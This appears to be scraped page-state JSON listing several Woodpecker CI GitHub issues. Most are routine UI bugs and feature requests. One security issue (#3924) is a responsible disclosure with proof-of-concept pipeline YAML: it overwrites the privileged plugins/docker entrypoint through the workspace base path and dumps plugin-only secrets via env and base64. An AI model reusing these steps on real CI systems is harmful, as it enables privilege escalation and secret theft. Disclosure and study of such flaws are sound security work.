\r\n\n\n### Steps to reproduce\n\n.\n\n### Expected behavior\n\n_No response_\n\n### System Info\n\n```shell\n\"next-d126cf9e35\"\n```\n\n\n### Additional context\n\n_No response_\n\n### Validations\n\n- [X] Read the [docs](https://woodpecker-ci.org/docs/intro).\n- [X] Check that there isn't [already an issue](https://github.com/woodpecker-ci/woodpecker/issues) that reports the same bug to avoid creating a duplicate.\n- [X] Checked that the bug isn't fixed in the `next` version already [https://woodpecker-ci.org/faq#which-version-of-woodpecker-should-i-use]",[2001,2004],{"name":2002,"color":2003},"bug","d73a4a",{"name":2005,"color":2006},"ui","46DEA2",4677,"`tag` pipelines are missing avatar and commit title","2025-01-12T06:19:42Z","https://github.com/woodpecker-ci/woodpecker/issues/4677",0.7350794,{"description":2013,"labels":2014,"number":2017,"owner":1991,"repository":1992,"state":1993,"title":2018,"updated_at":2019,"url":2020,"score":2021},"### Clear and concise description of the problem\n\nOn the \"Settings > Queue\" page, tasks with dependencies list which task they're waiting for with a `waiting for ####` label. Tasks with dependencies that haven't finished yet are marked before the task ID with a red circle with a square punched out of the middle. Tasks with completed dependencies still display the `waiting for` label, but the task ID marker is just an empty circle. It can be confusing to see a task list a dependency with an ID number that is no longer visible in the queue, because it has finished.\n\n### Suggested solution\n\nI propose that the `waiting for` label is removed once that dependent task is finished and removed from the queue display.\n\n### Alternative\n\nAlternatively, don't remove dependent tasks from the queue until all related tasks are complete. Mark completed tasks with a checkmark in a green circle.\r\n\r\nRemoving the `waiting for` label is probably the preferred option.\n\n### Additional context\n\n_No response_\n\n### Validations\n\n- [X] Checked that the feature isn't part of the `next` version already [https://woodpecker-ci.org/faq#which-version-of-woodpecker-should-i-use]\n- [X] Read the [Contributing Guidelines](https://github.com/woodpecker-ci/woodpecker/blob/main/CONTRIBUTING.md).\n- [X] Read the [docs](https://woodpecker-ci.org/docs/intro).\n- [X] Check that there isn't already an [issue](https://github.com/woodpecker-ci/woodpecker/issues) that request the same feature to avoid creating a duplicate.",[2015,2016],{"name":2005,"color":2006},{"name":1985,"color":1986},2574,"Queued tasks should drop \"waiting for\" after the dependent task completes","2023-10-12T15:59:46Z","https://github.com/woodpecker-ci/woodpecker/issues/2574",0.7367054,{"description":2023,"labels":2024,"number":2030,"owner":1991,"repository":1992,"state":2031,"title":2032,"updated_at":2033,"url":2034,"score":2035},"\r\n\r\nthe default url is `https://woodpecker-ci.org/docs/next/administration/backends/docker` and that should remain.\r\n\r\nbut if it is `local` or `kubernetes` it would be nice to show different urls towards `https://woodpecker-ci.org/docs/next/administration/backends/local` and `https://woodpecker-ci.org/docs/next/administration/backends/kubernetes`.",[2025,2026,2027],{"name":2005,"color":2006},{"name":1985,"color":1986},{"name":2028,"color":2029},"good first issue","76ea72",4137,"closed","WebUI: agent edit/detail view: change the **HELP** url based on the backend","2024-10-11T23:12:07Z","https://github.com/woodpecker-ci/woodpecker/issues/4137",0.672925,{"description":2037,"labels":2038,"number":2041,"owner":1991,"repository":1992,"state":2031,"title":2042,"updated_at":2043,"url":2044,"score":2045},"### Component\n\nweb-ui\n\n### Describe the bug\n\nThe spaces in task output should be kept.\r\n\r\n\r\n\n\n### System Info\n\n```shell\n\"source\": \"https://github.com/woodpecker-ci/woodpecker\",\r\n\"version\": \"next-9feb6be9\"\n```\n\n\n### Additional context\n\n_No response_\n\n### Validations\n\n- [X] Read the [Contributing Guidelines](https://github.com/woodpecker-ci/woodpecker/blob/master/CONTRIBUTING.md).\n- [X] Read the [docs](https://woodpecker-ci.org/docs/intro).\n- [X] Check that there isn't [already an issue](https://github.com/woodpecker-ci/woodpecker/issues) that reports the same bug to avoid creating a duplicate.\n- [X] Check that this is a concrete bug. For Q&A join our [Discord Chat Server](https://discord.gg/fcMQqSMXJy).",[2039,2040],{"name":2002,"color":2003},{"name":2005,"color":2006},718,"The spaces in task output should be kept.","2022-06-16T17:24:27Z","https://github.com/woodpecker-ci/woodpecker/issues/718",0.7159456,{"description":2047,"labels":2048,"number":2052,"owner":1991,"repository":1992,"state":2031,"title":2053,"updated_at":2054,"url":2055,"score":2056},"### Clear and concise description of the problem\r\n\r\nI'm trying to run a container image build step in my pipeline that uses [buildah](https://quay.io/repository/buildah/stable?tab=info). I'm running into a lot of permission errors like this:\r\n\r\n```\r\ntime=\"2023-10-07T19:59:26Z\" level=error msg=\"writing \\\"0 0 4294967295\\\\n\\\" to /proc/17/uid_map: write /proc/17/uid_map: operation not permitted\"\r\ntime=\"2023-10-07T19:59:26Z\" level=error msg=\"(Unable to determine exit status)\"\r\n```\r\n\r\nAfter some experimentation with podman and buildah containers on my cluster, I have determined that I need to configure a few different settings at the Pod level for this to work:\r\n\r\n- `metadata.annotations`: I need to be able to set `container.apparmor.security.beta.kubernetes.io/\u003Ccontainer_name>` to use a custom apparmor profile for my buildah container. I would like to use the `WOODPECKER_BACKEND_K8S_POD_ANNOTATIONS` env variable, but since the container names are randomly generated I'm not sure how to make this work.\r\n- `spec.securityContext`: The only way I have found to make buildah work is to run it as non-root. This means that I need to set `runAsUser`, `runAsGroup`, and `fsGroup` on the Pod level `securityContext` (not the container level).\r\n\r\n### Suggested solution\r\n\r\nAdding support for `securityContext` seems like it should be fairly straightforward. We could just follow that same approach that is currently used for `resources`, `nodeSelector`, etc. [documented here](https://woodpecker-ci.org/docs/next/administration/backends/kubernetes#resources).\r\n\r\nThe AppArmor profile is trickier since the container name needs to be included in the annotation key. I'm imagining a configuration like `backend_options.kubernetes.appArmorProfile` that could take all of the possible values for the annotation [documented here](https://kubernetes.io/docs/tutorials/security/apparmor/). Then, the pod generation logic would just look for this configuration and add the appropriate annotation if it's found.\r\n\r\n### Alternative\r\n\r\nI could disable AppArmor entirely, but that's not really advisable for a production environment. I could also try to find a way to get the buildah container running as root (it should be possible), but again, that's not ideal from a security perspective.\r\n\r\n### Additional context\r\n\r\nThis is somewhat of a follow up from #2510. I'm trying to get Woodpecker to run on my kubeadm/CRI-O based cluster running on Debian which I believe makes me some kind of leprechaun/unicorn/lochness monster. There definitely aren't many of us out there.\r\n\r\n### Validations\r\n\r\n- [X] Checked that the feature isn't part of the `next` version already [https://woodpecker-ci.org/faq#which-version-of-woodpecker-should-i-use]\r\n- [X] Read the [Contributing Guidelines](https://github.com/woodpecker-ci/woodpecker/blob/main/CONTRIBUTING.md).\r\n- [X] Read the [docs](https://woodpecker-ci.org/docs/intro).\r\n- [X] Check that there isn't already an [issue](https://github.com/woodpecker-ci/woodpecker/issues) that request the same feature to avoid creating a duplicate.",[2049,2050],{"name":1985,"color":1986},{"name":2051,"color":1989},"backend/kubernetes",2545,"Support AppArmor annotations and securityContext in kubernetes backend","2024-01-12T22:32:26Z","https://github.com/woodpecker-ci/woodpecker/issues/2545",0.7162306,{"description":2058,"labels":2059,"number":2067,"owner":1991,"repository":1992,"state":2031,"title":2068,"updated_at":2069,"url":2070,"score":2071},"### Component\r\n\r\nother\r\n\r\n### Describe the bug\r\n\r\nPlease take a look at this [issue on Codeberg](https://codeberg.org/Codeberg-CI/feedback/issues/136). I found out what causes this problem. See [this comment](https://codeberg.org/Codeberg-CI/feedback/issues/136#issuecomment-1318012) for details. #2126 added a Org for each user. But it looks like there was a mistake in the Migration, so the Users don't have access to their Org. `https://ci.codeberg.org/api/user `say my Org ID is 592, but `https://ci.codeberg.org/api/orgs/592 `gives me a 403.\r\n\r\n### System Info\r\n\r\n```shell\r\n{\r\n \"source\":\"https://github.com/woodpecker-ci/woodpecker\",\r\n \"version\":\"next-62e1081b24\"\r\n}\r\n```\r\n\r\n\r\n### Additional context\r\n\r\nI'm just a User and not the Admin of this instance, so I can't give you detailed technical information, but I want to share my findings.\r\n\r\n### Validations\r\n\r\n- [X] Read the [Contributing Guidelines](https://github.com/woodpecker-ci/woodpecker/blob/main/CONTRIBUTING.md).\r\n- [X] Read the [docs](https://woodpecker-ci.org/docs/intro).\r\n- [X] Check that there isn't [already an issue](https://github.com/woodpecker-ci/woodpecker/issues) that reports the same bug to avoid creating a duplicate.\r\n- [X] Checked that the bug isn't fixed in the `next` version already [https://woodpecker-ci.org/faq#which-version-of-woodpecker-should-i-use]\r\n- [X] Check that this is a concrete bug. For Q&A join our [Discord Chat Server](https://discord.gg/fcMQqSMXJy) or the [Matrix room](https://matrix.to/#/#woodpecker:matrix.org).",[2060,2061,2064],{"name":2002,"color":2003},{"name":2062,"color":2063},"forge/gitea","E96280",{"name":2065,"color":2066},"regression","7E192B",2714,"User don't have permission for own Org","2023-12-19T08:13:41Z","https://github.com/woodpecker-ci/woodpecker/issues/2714",0.71857643,{"description":2073,"labels":2074,"number":2079,"owner":1991,"repository":1992,"state":2031,"title":2080,"updated_at":2081,"url":2082,"score":2083},"### Clear and concise description of the problem\n\nWhen committing with a structured message (e.g. following Conventional Commits specification), Woodpecker cramps the whole message together into one large string when displaying it in the repo commit list and the pipeline run title. This is usually pretty ugly and decreases readability. \r\n\r\nExample:\r\n\r\n\n\n### Suggested solution\n\nA new environment variable CI_COMMIT_MESSAGE_HEADER could be added which would be used to populate the strings mentioned above. This would of course require parsing the commit message first.\n\n### Alternative\n\nAlternatively, a UI section for the body and footer of the commit message could be added below the pipeline run title to display those variables. \r\n\r\nAll of the steps described above would still be necessary, but in addition, at least CI_COMMIT_MESSAGE_BODY (if one wants to treat body and footer as one) would have to be parsed and added as well.\n\n### Additional context\n\n_No response_\n\n### Validations\n\n- [X] Read the [Contributing Guidelines](https://github.com/woodpecker-ci/woodpecker/blob/master/CONTRIBUTING.md).\n- [X] Read the [docs](https://woodpecker-ci.org/docs/intro).\n- [X] Check that there isn't already an [issue](https://github.com/woodpecker-ci/woodpecker/issues) that request the same feature to avoid creating a duplicate.",[2075,2076],{"name":2005,"color":2006},{"name":2077,"color":2078},"feature","180DBE",1489,"Beautify display of commit messages with bodies and/or footers","2023-08-20T16:52:56Z","https://github.com/woodpecker-ci/woodpecker/issues/1489",0.7248462,{"description":2085,"labels":2086,"number":2090,"owner":1991,"repository":1992,"state":2031,"title":2091,"updated_at":2092,"url":2093,"score":2094},"# Getting privileged permissions using an escalated plugin by adjusting workspace\r\n\r\nDear Woodpecker Security Team,\r\n\r\nI am writing to inform you about the possibility of running arbitrary code in a privileged container using the default configuration.\r\nAs you know, the default configuration has multiple containers that run in privileged mode. These include the \"plugins/docker\" image. (I haven't looked at the other images, though I'm sure they are vulnerable to the same or similar exploits.)\r\nMy POC uses the workspace attribute with the base set to \"/use/local\". This way, I can place a file at \"/usr/local/bin/dockerd-entrypoint.sh\" in a step before the \"plugins/docker\" step to overwrite the commands executed in the privileged container.\r\n\r\n```\r\nworkspace:\r\n base: /usr/local/\r\n\r\nsteps:\r\n- name: prepare\r\n image: alpine\r\n commands:\r\n - mkdir -p /usr/local/bin/\r\n - cp fake-local/bin/dockerd-entrypoint.sh /usr/local/bin/dockerd-entrypoint.sh\r\n - cp ncat /usr/local/ncat\r\n - cp bash /usr/local/bash\r\n - chmod +x /usr/local/bin/dockerd-entrypoint.sh\r\n - chmod +x /usr/local/ncat\r\n - chmod +x /usr/local/bash\r\n- name: drone\r\n image: plugins/docker\r\n```\r\n\r\nThis is possible because the only things checked before allowing the setting of the container to privileged are that the \"Commands\" and \"Entrypoint\" attributes are unset using the \"IsPlugin\" function.\r\nThere are multiple other ways to gain code execution in the privileged container, such as setting environment variables like \"LD\\_PRELOAD\".\r\n\r\nI only tested this in the docker runner, but looking at the code, the same should be possible for the kubernetes runner.\r\n\r\nI'm not sure how to fix this correctly, as it is broken by design when allowing the building of docker images inside the CI.\r\n\r\nSimilar bugs exist in the Drone CI, so a scheduled disclosure with them makes sense.\r\n\r\nI am also informing you that I am the author of a CTF Challenge where people tried to find and exploit this bug. The event was a final to a qualification with a small number of participants. Two Teams solved the challenge by finding other bugs. I will tell them to report their found vulnerability as well.\r\n\r\nFeel free to follow up with any questions.\r\n\r\nBest,\r\nDaniel Kilimnik\r\n\r\nNeodyme AG\r\n\r\n---\r\n\r\n# Getting secrets value using manipulated entrypoint via adjusted workspace\r\n\r\n1. create a secret called `TOKEN` for the plugin `plugins/docker` only\r\n\r\n2. create this pipeline\r\n```yaml\r\nskip_clone: true\r\n\r\nworkspace:\r\n base: /usr/local/\r\n\r\nsteps:\r\n- name: prepare\r\n image: alpine\r\n commands:\r\n - mkdir -p /usr/local/bin/\r\n - 'echo \"#!/bin/sh\" > /usr/local/bin/dockerd-entrypoint.sh'\r\n - 'echo \"env\" >> /usr/local/bin/dockerd-entrypoint.sh'\r\n - 'echo \"echo -------\" >> /usr/local/bin/dockerd-entrypoint.sh'\r\n - 'echo \"env | base64\" >> /usr/local/bin/dockerd-entrypoint.sh'\r\n - chmod +x /usr/local/bin/dockerd-entrypoint.sh\r\n- name: drone\r\n image: plugins/docker\r\n settings:\r\n token:\r\n from_secret: TOKEN\r\n```\r\n\r\n3. decode the base64 and wolla successfully reused the exploid in a different area\r\n\r\n\r\n\r\n\r\n\r\n\r\n---\r\n\r\n\r\n GHSA-xw35-rrcp-g7xm",[2087],{"name":2088,"color":2089},"security","B60205",3924,"Getting \"privileged permissions\" / \"secrets value\" by using (... an escalated plugin and/) by adjusting workspace","2024-10-04T14:06:28Z","https://github.com/woodpecker-ci/woodpecker/issues/3924",0.7282644,{"description":2096,"labels":2097,"number":2099,"owner":1991,"repository":1992,"state":2031,"title":2100,"updated_at":2101,"url":2102,"score":2103},"### Component\r\n\r\nother\r\n\r\n### Describe the bug\r\n\r\nI am testing version 2.6 in my development environment, so I updated an application code to use \r\n```- evaluate: CI_PIPELINE_DEPLOY_TASK == \"sre-dummy-rest-app\"```\r\ninstead of the 'task:' filter.\r\nIn my github hooks payload I get: \r\n\r\nBut the CI_PIPELINE_DEPLOY_TASK is empty and woodpecker is not running the steps that it should run.\r\n\r\n### Steps to reproduce\r\n\r\nUsing :\r\n``` \r\nwhen:\r\n - evaluate: CI_PIPELINE_DEPLOY_TASK == \"value\" \r\n```\r\n\r\nInstead of:\r\n`task: \"value\"`\r\n\r\n### Expected behavior\r\n\r\nRun with the variable as it should run with the filter in previous versions.\r\n\r\n### System Info\r\n\r\n```shell\r\n{\"source\":\"https://github.com/woodpecker-ci/woodpecker\",\"version\":\"2.6.0\"}\r\n```\r\n\r\n\r\n### Additional context\r\n\r\n_No response_\r\n\r\n### Validations\r\n\r\n- [X] Read the [docs](https://woodpecker-ci.org/docs/intro).\r\n- [X] Check that there isn't [already an issue](https://github.com/woodpecker-ci/woodpecker/issues) that reports the same bug to avoid creating a duplicate.\r\n- [X] Checked that the bug isn't fixed in the `next` version already [https://woodpecker-ci.org/faq#which-version-of-woodpecker-should-i-use]",[2098],{"name":2002,"color":2003},3872,"variable CI_PIPELINE_DEPLOY_TASK is empty in woodpecker","2024-07-07T11:43:08Z","https://github.com/woodpecker-ci/woodpecker/issues/3872",0.7283589,["Reactive",2105],{},["Set"],["ShallowReactive",2108],{"TRc1wZytZ_XrK4EfJfei_Sz-An4H4Yy6syhVxH_PVJc":-1,"ldBUh-CyZnn1Lhe6RUpFl07tdx4dYuzhfQwWFi4rH4I":-1},"/woodpecker-ci/woodpecker/3892"]